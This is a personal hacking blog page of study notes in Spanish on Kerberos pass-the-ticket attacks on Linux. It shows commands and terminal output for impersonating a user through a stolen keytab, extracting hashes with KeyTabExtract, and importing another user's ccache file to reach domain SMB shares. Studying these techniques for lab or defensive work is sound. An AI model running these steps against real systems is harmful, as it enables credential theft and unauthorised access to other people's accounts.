Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

Pass the ticket en LINUX

Conceptos a tener en cuenta

Keytab

Ccache

Kerberos en Linux

Comandos utiles

Recomendado utilizar linikatz para extraer toda esta info

Impersonando un usuario con keytab

[email protected]@linux01:~$ klist 

Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: [email protected]

Valid starting     Expires            Service principal
10/06/22 17:02:11  10/07/22 03:02:11  krbtgt/[email protected]
        renew until 10/07/22 17:02:11
[email protected]@linux01:~$ kinit [email protected] -k -t /opt/specialfiles/carlos.keytab
[email protected]@linux01:~$ klist 
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: [email protected]

Valid starting     Expires            Service principal
10/06/22 17:16:11  10/07/22 03:16:11  krbtgt/[email protected]
        renew until 10/07/22 17:16:11
[email protected]@linux01:~$ smbclient //dc01/carlos -k -c ls

  .                                   D        0  Thu Oct  6 14:46:26 2022
  ..                                  D        0  Thu Oct  6 14:46:26 2022
  carlos.txt                          A       15  Thu Oct  6 14:46:54 2022

                7706623 blocks of size 4096. 4452852 blocks available

KeyTabExtract abusar

python3 keytabexcract.py USER.keytab

Importing the ccache File into our Current Session

cp /tmp/krb5cc_647401106_5Eidyq .
export KRB5CCNAME=/root/krb5cc_647401106_5Eidyq
klist
smbclient //DC01/julio -k